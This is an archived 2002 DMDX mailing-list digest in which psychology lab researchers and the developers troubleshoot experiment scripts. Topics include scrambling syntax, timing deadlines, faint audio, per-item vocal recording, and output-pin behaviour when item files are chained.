phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A0012EC93 for DMDX@psy1.psych.arizona.edu; Thu, 31 Jan 2002 12:38:36 -0700 Message-Id: <5.1.0.14.2.20020131123755.00b3de10@psy1.psych.arizona.edu> Date: Thu, 31 Jan 2002 12:38:34 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Why doesn't our intro work? In-Reply-To: References: <5.1.0.14.2.20020125113059.00b32e90@psy1.psych.arizona.edu> <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> <5.1.0.14.2.20020125113059.00b32e90@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:13 PM 1/31/2002 -0400, you wrote: >Inserting the scrambling parameter and removing the ""$""s, the program >works, but the first line of the intro appears at the end of the program, >and nothing more than the first line appears. The error message is the >same message we get when the only change is the insertion of a scrambling >parameter: > >unknown keyword > >The person who wrote the intro (which worked) told us the ""$"" are to >ensure the intro appears at the beginning, and the parameters >instruct dmdx where to post the sentences. Below is the newly written code: > > , 1> > >$ >0 Put a space between the LN and -5. > ""These are the instructions."", ""You will be presented with a > series of items"", ""made up of 1-2 sentences. Each item is > followed"", ""by a verification sentence, which is underlined."", > ""Read at your own pace and press the SPACE bar when"", ""you > have read and understande each item sentene. When you"", ""get to > the verification sentence, use the Right Shift"", ""and Left Shift > Keys to indicate whether the verification"", ""sentence is true or > false, based on the preceeding context."", ""Press the Right Shift > key if the sentence is true and"", ""press the Left Shift key if the > sentence is false."", ""PRESS THE SPACE BAR TO CONTINUE.""; >0 ""Be as quick and as accurate as you can when"", ""responding >to a verification sentence, but do not rush."", ""After you have >responded, you may also be"", ""required to answer a yes-no question, >which"", "" is in CAPITAL letters. Use the Right Shift key to"", 1> ""answer Yes, and the Left Shift key to answer No."", ""Press the >Space Bar to continue to the next item."", ""You wil get 8 practice >sentences following thes instructions."", ""PRESS THE SPACE BAR TO >CONTINUE.""; > >$ > >+1 c * "" ""; >+1 c *""One day at the mall""; >+1 c *""Michael was stopped by Hannah""; >+1 c *""while""; >+1 "" "" / c *""leaving the store.""; >+1 *""Michael was leaving the store.""; >+1 c* ""Next""; > > >>At 12:08 PM 1/25/2002 -0400, you wrote: >>>Hello, >>> >>>This past summer, a person in the lab ran a dmdx program, and our >>>current program is very similar. So similar, we copied her intro. >>>However, we are continously told by DMDX that the intro is faulty, and >>>its become so bad, that when we load up the file, we instantously >>>receive a ""this program has performed an illegal operation"" message. I >>>have spoken to the person who ran the dmdx program in the summer, and >>>she says she doesn't know why its not working for us; it did work for >>>her. I have copied the intro plus an item file into this e-mail. If >>>anyone has any idea why it isn't working, it would be greatly >>>appreciated. Thank-you, >>>Tyler >>> >>> >>Shift""> >>> >>>$ >> >> For a start you've got a $ in there and no scrambling. While I >> wouldn't expect this to crash DMDX I'd certainly expect a syntax >> error. Take all the $ out or put an S parameter back in and see what happens. >> >> /""\\ >>-jonathan (j.c.f.) \\ / >> X >> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> >> The world isn't worse. It's just that the news coverage is so >>much better. >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > > > >-- > >Lab-Coordinator of the Psycholinguistics Lab >Undergraduate student-rep, University of Toronto, for the CPA >Communications co-ordinator for the PSA at UofT /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 12 08:00:40 2002 Received: from smtp.infonex.net ([168.143.114.3]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA31001 for ; Tue, 12 Feb 2002 08:00:01 -0700 Received: from [212.19.142.114] (cyberpass.net [168.143.112.7]) by smtp.infonex.net (8.11.5/8.11.5) with ESMTP id g1CEvtt21640 for ; Tue, 12 Feb 2002 06:57:57 -0800 (PST) Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Date: Tue, 12 Feb 2002 20:32:14 -0700 To: DMDX@psy1.psych.arizona.edu From: Greg Thomson Subject: [DMDX] sound files play faintly Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list When I first installed DMDX in our lab at KazNU, the demo experiments which play sound files worked fine. Recently the sounds started playing extremely faintly when played from within DMDX, although the same sound files still play just fine, just as always, from within TimeDX. Between the time that the sound files played normally from within DMDX and they time that they started playing faintly the Computer Services Department here at KazNU added a microphone to the computer. Perhaps some system-level software that they installed or altered interacts badly with DMDX (but not with TimeDX). Has anyone had a similar problem and found a solution? (We will soon be developing an auditory sentence-picture verification experiment, and so this is a roadblock until we find a solution.) Greg >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 12 08:48:56 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA31163 for ; Tue, 12 Feb 2002 08:48:45 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E00018953 for DMDX@psy1.psych.arizona.edu; Tue, 12 Feb 2002 08:48:44 -0700 Message-Id: <5.1.0.14.2.20020212084442.00b51b78@psy1.psych.arizona.edu> Date: Tue, 12 Feb 2002 08:48:43 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: sound files play faintly In-Reply-To: References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:32 PM 2/12/2002 -0700, you wrote: >When I first installed DMDX in our lab at KazNU, the demo experiments >which play sound files worked fine. Recently the sounds started playing >extremely faintly when played from within DMDX, although the same sound >files still play just fine, just as always, from within TimeDX. Between >the time that the sound files played normally from within DMDX and they >time that they started playing faintly the Computer Services Department >here at KazNU added a microphone to the computer. Perhaps some >system-level software that they installed or altered interacts badly with >DMDX (but not with TimeDX). Has anyone had a similar problem and found a >solution? (We will soon be developing an auditory sentence-picture >verification experiment, and so this is a roadblock until we find a solution.) Usually anything's that's screwed up for DMDX should be screwed up for TimeDX as there's very little difference between the two programs as far as the way they do things. DMDX has the ability to attenuate files it plays that TimeDX doesn't expose, maybe someone added a keywords to your item files. But check all the volume controls anyway and check the recording controls too that are cunningly hidden. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Committees do harm merely by existing. - Freeman Dyson >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 12 10:59:51 2002 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA31508 for ; Tue, 12 Feb 2002 10:58:38 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49250]) by bureau6.utcc.utoronto.ca with ESMTP id <238914-14836>; Tue, 12 Feb 2002 12:58:26 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Date: Mon, 11 Feb 2002 12:58:52 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] Timing of items Content-Type: multipart/alternative; boundary=""============_925135==_ma============"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --============_925135==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" In our current program, items have a time dealine of , and this is exactly what was occuring. However, for some reason, our program stopped doing this timed function. The only change made was changing the parameter from to ; is . I will post the header line, the intro, and 12 sample items. Does anyone know why the program has ceased to have a deadline on the items? I am very confused because everything was working fine this morning. , $ 0 ""These are the instructions."", ""You will be presented with a series of items"", ""made up of 1-2 sentences. Each item is followed"", ""by a verification sentence, which is underlined."", ""Read at a normal pace as each line appears"", ""and as soon as you have understood it"", ""press the SPACE BAR to move on to the next line."", ""When the verification sentence appears,"", ""be as quick and as accurate as you can when responding"", ""to a verification sentence, but do not rush."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Use the J and F keys to indicate whether"", ""the verification sentence is true or false."", ""Press the J key if the sentence is true"", ""and the F key if the sentence is false."", ""After the verification sentence"", ""you will be presented with the word NEXT."", ""At this point, you can press the SPACE BAR"", ""to move on to the next sentence."", ""However, if you need to take a break, you can"", ""wait up to a minute before reading the next sentence."", ""But you must press the SPACE BAR to begin"", ""reading the next line."", ""PRESS THE SPACE BAR TO CONTINUE.""; $ +1 c * "" ""; +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" "" / c *""leaving the store.""; +1 *""Michael was leaving the store?""; +1 c* ""*NEXT*""; +9 c * "" ""; +9 c *""One day outside the movie theatre""; +9 c *""Jacob was harassed by Emily""; +9 c *""while""; +9 "" "" / c *""he stood in line.""; +9 *""Jacob stood in line?""; +9 c* ""*NEXT*""; +17 c * "" ""; +17 c *""One day at the library""; +17 c *""Matthew was silenced by Elizabeth""; +17 c *""in a loud and vocal manner""; +17 c *""while""; +17 "" "" / c *""reading a book.""; +17 *""Matthew was reading a book?""; +17 c* ""*NEXT*""; +25 c * "" ""; +25 c *""One afternoon at the store""; +25 c *""Joseph was approached by Alexis""; +25 c *""in a slow and awkward manner""; +25 c *""while""; +25 "" "" / c *""he left the store.""; +25 *""Joseph left the store?""; +25 c* ""*NEXT*""; +2 c * "" ""; +2 c *""One day near the park""; +2 c *""Christopher was pushed by Sarah""; +2 c *""while""; +2 "" "" / c *""walking to work.""; +2 *""Christopher was walking to work?""; +2 c* ""*NEXT*""; +10 c * "" ""; +10 c *""One afternoon in the kitchen""; +10 c *""Nicholas was consoled by Lauren""; +10 c *""while""; +10 "" "" / c *""he drank some tea.""; +10 *""Nicholas drank some tea?""; +10 c* ""*NEXT*""; +18 c * "" ""; +18 c *""One day at the fair""; +18 c *""Andrew was pick-pocketed by Jessica""; +18 c *""in a quick and crafty manner""; +18 c *""while""; +18 "" "" / c *""playing a game.""; +18 *""Andrew was playing a game?""; +18 c* ""*NEXT*""; +26 c * "" ""; +26 c *""One day on the way to work""; +26 c *""William was smiled at by Ashley""; +26 c *""in a cool and seductive way""; +26 c *""while""; +26 "" "" / c *""he watched the bus.""; +26 *""William rode the bus?""; +26 c* ""*NEXT*""; +33 "" "" / c *""One day at the school""; +33 c *""Joshua was punched by Samantha""; +33 c *""for""; +33 "" "" / c *""blocking the door.""; +33 *""Joshua was blocking the door?""; +33 c* ""*NEXT*""; +41 "" "" / c *""One day at the police station""; +41 c *""Daniel was arrested by Olivia""; +41 c *""because""; +41 "" "" / c *""he stole some bread.""; +41 *""Daniel stole some bread?""; +41 c* ""*NEXT*""; +49 "" "" / c *""One day in the driveway""; +49 c *""Tyler was thanked by Olivia""; +49 c *""in a sincere and tearful way""; +49 c *""for""; +49 "" "" / c *""saving the dog.""; +49 *""Tyler was saving the dog?""; +49 c* ""*NEXT*""; +57 "" "" / c *""One day on the street""; +57 c *""Ryan was laughed at by Abigail""; +57 c *""in a playful and friendly way""; +57 c *""because""; +57 "" "" / c *""he danced a jig.""; +57 *""Ryan danced a jig?""; +57 c* ""*NEXT*""; +34 "" "" / c *""One night at the club""; +34 c *""Anthony was laughed at by Anna""; +34 c *""for""; +34 "" "" / c *""spilling some beer.""; +34 *""Anthony was spilling some beer?""; +34 c* ""*NEXT*""; >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 12 11:22:13 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA31613 for ; Tue, 12 Feb 2002 11:22:05 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E0001E817 for DMDX@psy1.psych.arizona.edu; Tue, 12 Feb 2002 11:22:05 -0700 Message-Id: <5.1.0.14.2.20020212112050.00b33370@psy1.psych.arizona.edu> Date: Tue, 12 Feb 2002 11:22:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Timing of items In-Reply-To: References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:58 PM 1/11/1970 -0400, you wrote: >In our current program, items have a time dealine of , and this is >exactly what was occuring. However, for some reason, our program stopped >doing this timed function. The only change made was changing the >parameter from to ; is . > >I will post the header line, the intro, and 12 sample items. Does anyone >know why the program has ceased to have a deadline on the items? I am very >confused because everything was working fine this morning. Your scrambling is going berserk and the items are now in places they shouldn't be. Use instead of . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nature always sides with the hidden flaw. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 13 11:50:46 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA01914 for ; Wed, 13 Feb 2002 11:50:10 -0700 Received: from [128.196.98.205] by deimos.email.Arizona.EDU with HTTP; Wed, 13 Feb 2002 11:50:08 -0700 Date: Wed, 13 Feb 2002 11:50:08 -0700 Message-ID: <3C6A9DF7000004DA@deimos.email.Arizona.EDU> From: ""Pamela Perschler"" Subject: [DMDX] scrambling error To: ""DMDX"" MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am trying to run a program using scrambling. If I use the program I have attached below it gives me a ""missing-$"" error at syntax check. If I take out the second $ it will include the first line in the scramble. I do not want the first line to be scrambled. What is the proper way of using the $? Thanks Pam F55 d5 S16 $0 ""*""; $ +1 * ? X? /; +2 * ? X? /; Pamela Perschler Research Assistant Cognition & Neuroimaging Laboratory Psychology Department University of Arizona, Tucson (520)621-8792 e-mail:pamelap@u.arizona.edu Sanity is the playground for the unimaginative. (Imagine yourself sane.) >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 13 12:45:03 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA02078 for ; Wed, 13 Feb 2002 12:44:56 -0700 Received: from com301 (128.196.93.13) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E00046991 for DMDX@psy1.psych.arizona.edu; Wed, 13 Feb 2002 12:44:56 -0700 From: ""Matthew Finkbeiner"" To: Subject: [DMDX] record vocal Date: Wed, 13 Feb 2002 12:38:33 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan, any chance the device could be set item-by-item instead of for the whole file? I've got a set of item files that include several different tasks using a button box and then one task (at the end) that uses naming. I only want to record vocal responses for the last set of clockon items. Any way to do this? Matthew >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 13 14:04:21 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA02306 for ; Wed, 13 Feb 2002 14:03:23 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E00049981 for DMDX@psy1.psych.arizona.edu; Wed, 13 Feb 2002 14:03:23 -0700 Message-Id: <4.3.1.1.20020213140156.00afff00@kforster.inbox.email.arizona.edu> Date: Wed, 13 Feb 2002 14:04:38 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: scrambling error In-Reply-To: <3C6A9DF7000004DA@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:50 AM 2/13/02 -0700, you wrote: >I am trying to run a program using scrambling. If I use the program I have >attached below it gives me a ""missing-$"" error at syntax check. If I take >out the second $ it will include the first line in the scramble. I do not >want the first line to be scrambled. What is the proper way of using the >$? >Thanks >Pam > > > > F55 d5 S16 > > > > >$0 ""*""; $ >+1 * ? X? /; >+2 * ? X? /; Well, when I run this file I don't get that error message. DMDX gets upset at . Where have these question marks come from? The scramble error msg most likely indicates that there is another $ somewhere in your file. --k.i.f. >Pamela Perschler >Research Assistant >Cognition & Neuroimaging Laboratory >Psychology Department >University of Arizona, Tucson >(520)621-8792 >e-mail:pamelap@u.arizona.edu > >Sanity is the playground for the unimaginative. >(Imagine yourself sane.) > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 13 15:11:21 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA02480 for ; Wed, 13 Feb 2002 15:11:09 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E0004C35B for DMDX@psy1.psych.arizona.edu; Wed, 13 Feb 2002 15:11:09 -0700 Message-Id: <4.3.1.1.20020213150844.00cb5f00@kforster.inbox.email.arizona.edu> Date: Wed, 13 Feb 2002 15:12:24 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: record vocal In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:38 PM 2/13/02 -0700, you wrote: >Jonathan, any chance the device could be set item-by-item >instead of for the whole file? I've got a set of item files that include >several different tasks using a button box and then one task (at the end) >that uses naming. I only want to record vocal responses for the last set of >clockon items. Any way to do this? Assuming that Jonathan doesn't feel like rewriting the code to permit this, the best solution is to have separate .rtf files. If it is too tedious to run three separate files (keeping in mind that you'd need to use subject IDs to make sure everything gets linked up correctly afterwards), you can write a DOS batch file that runs DMDX with separate .rtf files. --k.i.f. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 13 15:35:03 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA02581 for ; Wed, 13 Feb 2002 15:34:56 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E0004D1DB for DMDX@psy1.psych.arizona.edu; Wed, 13 Feb 2002 15:34:56 -0700 Message-Id: <5.1.0.14.2.20020213153355.00b4e3a0@psy1.psych.arizona.edu> Date: Wed, 13 Feb 2002 15:34:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: scrambling error In-Reply-To: <4.3.1.1.20020213140156.00afff00@kforster.inbox.email.arizo na.edu> References: <3C6A9DF7000004DA@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:04 PM 2/13/2002 -0700, you wrote: > Well, when I run this file I don't get that error message. DMDX > gets upset at . Where have these question marks come from? Probably from pasting Word's stupid left and right quotes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nature always sides with the hidden flaw. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 13 15:35:30 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA02595 for ; Wed, 13 Feb 2002 15:35:25 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E0004D226 for DMDX@psy1.psych.arizona.edu; Wed, 13 Feb 2002 15:35:25 -0700 Message-Id: <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> Date: Wed, 13 Feb 2002 15:35:24 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: record vocal In-Reply-To: <4.3.1.1.20020213150844.00cb5f00@kforster.inbox.email.arizo na.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:12 PM 2/13/2002 -0700, you wrote: >At 12:38 PM 2/13/02 -0700, you wrote: >>Jonathan, any chance the device could be set item-by-item >>instead of for the whole file? I've got a set of item files that include >>several different tasks using a button box and then one task (at the end) >>that uses naming. I only want to record vocal responses for the last set of >>clockon items. Any way to do this? > > Assuming that Jonathan doesn't feel like rewriting the code to > permit this, the best solution is to have separate .rtf files. If it is > too tedious to run three separate files (keeping in mind that you'd need > to use subject IDs to make sure everything gets linked up correctly > afterwards), you can write a DOS batch file that runs DMDX with separate > .rtf files. No, I won't be rewriting that anytime soon. It's one of the last (if not the last) fixed rigid thing and changing it isn't really on the horizon, it's scope for breaking things is legion. The closest I came to addressing it was allowing one item file to chain another, but even that ran into nasty trouble. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nature always sides with the hidden flaw. >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 14 09:22:32 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA04706 for ; Thu, 14 Feb 2002 09:22:07 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C6464FE0009D487 for DMDX@psy1.psych.arizona.edu; Thu, 14 Feb 2002 09:22:07 -0700 Message-Id: <5.1.0.14.2.20020214091951.00b3bb40@psy1.psych.arizona.edu> Date: Thu, 14 Feb 2002 09:22:06 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] chaining Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Another way to chain item files occurred to me in the shower this morning (slept through morning meditation where these ideas would normally occur) so a solution to Matthew's problem not involving batch files may be forthcoming in relatively short order. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Committees do harm merely by existing. - Freeman Dyson >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 14 10:30:51 2002 Received: from mhub-c2.tc.umn.edu (mhub-c2.tc.umn.edu [160.94.128.45]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA04923 for ; Thu, 14 Feb 2002 10:30:14 -0700 Received: from [160.94.187.25] by mhub-c2.tc.umn.edu with ESMTP for DMDX@psy1.psych.arizona.edu; Thu, 14 Feb 2002 11:30:12 -0600 Message-Id: <3C6BF5F5.29E5E86E@tc.umn.edu> Date: Thu, 14 Feb 2002 11:37:57 -0600 From: ""Stephen D. Benning"" MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: chaining References: <5.1.0.14.2.20020214091951.00b3bb40@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ""j.c.f."" wrote: > > Another way to chain item files occurred to me in the shower this > morning (slept through morning meditation where these ideas would normally > occur) so a solution to Matthew's problem not involving batch files may be > forthcoming in relatively short order. If there's a way to do this without: a) DMDX sending the equivalent of o255 when it changes between item files, b) DMDX switching in and out of DirectX (or whatever it does that makes the monitor click when I use batch files to run DMDX item files in series), I would be eternally grateful, as these issues have plagued an experiment I've got in the works, which requires me to use the two high output pins of a PIO12 card to control two lights, the middle five pins to trigger Neuroscan, and the low pin to trigger a shock box (which is not yet implemented, but may be nice to have). When my batch file switches between item files, it briefly sets all pins high and hence turns on both lights (and could potentially give a hapless subject a mini-shock). It also does some toggling between DirectX and normal display, which makes the monitor click audibly and annoyingly, and causes some brief flickering of the display. Stephen >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 14 11:21:29 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA05090 for ; Thu, 14 Feb 2002 11:21:17 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E0006861B for DMDX@psy1.psych.arizona.edu; Thu, 14 Feb 2002 11:21:17 -0700 Message-Id: <5.1.0.14.2.20020214111623.00b33360@psy1.psych.arizona.edu> Date: Thu, 14 Feb 2002 11:21:16 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: chaining In-Reply-To: <3C6BF5F5.29E5E86E@tc.umn.edu> References: <5.1.0.14.2.20020214091951.00b3bb40@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:37 AM 2/14/2002 -0600, you wrote: >""j.c.f."" wrote: > > > > Another way to chain item files occurred to me in the shower this > > morning (slept through morning meditation where these ideas would normally > > occur) so a solution to Matthew's problem not involving batch files may be > > forthcoming in relatively short order. > >If there's a way to do this without: > >a) DMDX sending the equivalent of o255 when it changes between item >files, >b) DMDX switching in and out of DirectX (or whatever it does that makes >the monitor click when I use batch files to run DMDX item files in >series), There isn't. That's exactly what is fraught with peril, leaving devices open but switching item files -- it ain't gonna work. >I would be eternally grateful, as these issues have plagued an >experiment I've got in the works, which requires me to use the two high >output pins of a PIO12 card to control two lights, the middle five pins >to trigger Neuroscan, and the low pin to trigger a shock box (which is >not yet implemented, but may be nice to have). When my batch file >switches between item files, it briefly sets all pins high and hence >turns on both lights (and could potentially give a hapless subject a >mini-shock). It also does some toggling between DirectX and normal >display, which makes the monitor click audibly and annoyingly, and >causes some brief flickering of the display. Unfortunately for you you (or your technician) have/has chosen to use positive logic to control your devices, however computers in general are built around negative logic where a high signal is an inactive signal. I seriously recommend changing the logic in your hardware as these issues are going to plague to as long as you continue to use positive logic. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nature always sides with the hidden flaw. >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 14 11:52:55 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA05225 for ; Thu, 14 Feb 2002 11:52:05 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E00069928 for DMDX@psy1.psych.arizona.edu; Thu, 14 Feb 2002 11:52:05 -0700 Message-Id: <5.1.0.14.2.20020214114836.00b388a8@psy1.psych.arizona.edu> Date: Thu, 14 Feb 2002 11:52:05 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: chaining In-Reply-To: <5.1.0.14.2.20020214111623.00b33360@psy1.psych.arizona.edu> References: <3C6BF5F5.29E5E86E@tc.umn.edu> <5.1.0.14.2.20020214091951.00b3bb40@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:21 AM 2/14/2002 -0700, you wrote: > Unfortunately for you you (or your technician) have/has chosen to use > positive logic to control your devices, however computers in general are > built around negative logic where a high signal is an inactive signal. I > seriously recommend changing the logic in your hardware as these issues > are going to plague you as long as you continue to use 